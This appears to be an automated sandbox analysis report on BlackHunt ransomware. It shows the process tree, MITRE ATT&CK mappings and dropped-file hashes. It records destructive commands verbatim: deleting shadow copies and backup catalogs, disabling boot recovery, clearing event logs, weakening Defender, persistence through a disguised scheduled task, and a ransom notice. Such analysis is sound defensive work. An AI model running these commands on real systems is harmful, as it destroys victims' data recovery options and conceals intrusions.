  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:2356
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:3492
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:2016
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:908
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:1512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:2736
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:112
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:2528
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1904
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:320
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:2280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe" /F
  2⤵
  PID:2976
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe" /F
    3⤵
    - Creates scheduled task(s)
    PID:2064
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:2560
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:3484
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:1344
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:2052
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2360
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:1844
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:2772
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:2180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:2488
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:2740
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:2268
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:2204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:576
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:1132
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:528
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:2012
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:1828
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:784
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:1176
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:2380
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:2228
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:580
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:2104
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:448
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3208
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:1152
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:3620
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:2476
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:2688
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:1460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:3060
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:1372
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:3576
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:556
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:3064
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:2204
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3840
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:1612
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:4068
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:3088
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:1316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:3340
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:3668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:3412
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:2448
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:3912
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3952
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:272
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:3520
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:2744
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:3204
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:3316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:2292
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:3876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:4032
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:1880
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:3992
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:3380
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:3108
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:1540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:2364
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:2680
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:3312
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:2784
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  PID:3872
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta"
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    PID:3744
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\024dcf8af047cb3e1e87a0d54fa9a29220279b5f32cca9d101cdb7b570331ddd.exe"
  2⤵
  - Deletes itself
  PID:3324
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - Runs ping.exe
    PID:2120

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
1⤵
PID:2500

C:\Windows\system32\reg.exe
reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
1⤵
PID:1768

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3168

C:\Windows\system32\wbengine.exe
"C:\Windows\system32\wbengine.exe"
1⤵
- Modifies Windows Defender Real-time Protection settings
- Suspicious use of AdjustPrivilegeToken
PID:1836

C:\Windows\System32\vdsldr.exe
C:\Windows\System32\vdsldr.exe -Embedding
1⤵
PID:3636

C:\Windows\System32\vds.exe
C:\Windows\System32\vds.exe
1⤵
PID:3676

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -Embedding
1⤵
PID:2488

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Scheduled Task/Job

T1053

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry

T1112

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Data Destruction

T1485

Defacement

T1491

Inhibit System Recovery

T1490

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Downloads

C:\ProgramData\#BlackHunt_Private.key

Filesize
1KB

MD5
428b9c978177554acbf58b97767c6895

SHA1
1f1efd3c48ad982e646db4411af66b92bc0f8f35

SHA256
939f6504e9d297bcce2dfa48654caa52f232918c919c375d19b5b19a249891ef

SHA512
6630682c05e6e7c5a8d0decade9796c7c7ae5a7ab19627a7725dd350a3ee0284ba081896644d5807f7c78a76252e36e4aebbfaadb68809b38213b3f8fd91a98b

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.hta

Filesize
12KB

MD5
ce50d1efd21a1ff09d654118d1b5ff21

SHA1
26153d50e28ab3a6a95eab85a2005292af08a4dc

SHA256
2d98d18613826e9bd3896073b2d7fd545679f3df9a811c4bdf10894bde9ece49

SHA512
160cbb84cb91138ad72407848fe150c73209d45de6e7d4bf631ec39f8daee07b6979831b301d9f1be13a2dbfeaf06cd0225422efb1f4a61641dcbd0e9919b31b

Download Submit
C:\ProgramData\#BlackHunt_ReadMe.txt

Filesize
684B

MD5
40deb0c86f0312e3ee7e7ec3a551e0f9

SHA1
6b6df927c5507ee2afda6201fb3a4bee9b244fa4

SHA256
e4bdabb55c1beeee5b47003dadb281fc8954457e4011cc583c76919f2baec3ef

SHA512
289c05f31d04bd2b00e2c9517314d18efbc8a366005aa36fe648274029c0e54ff88db18d1063194860b538cc8e272a5e099fe9933d9b2696e11eca50431e915d

Download Submit

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads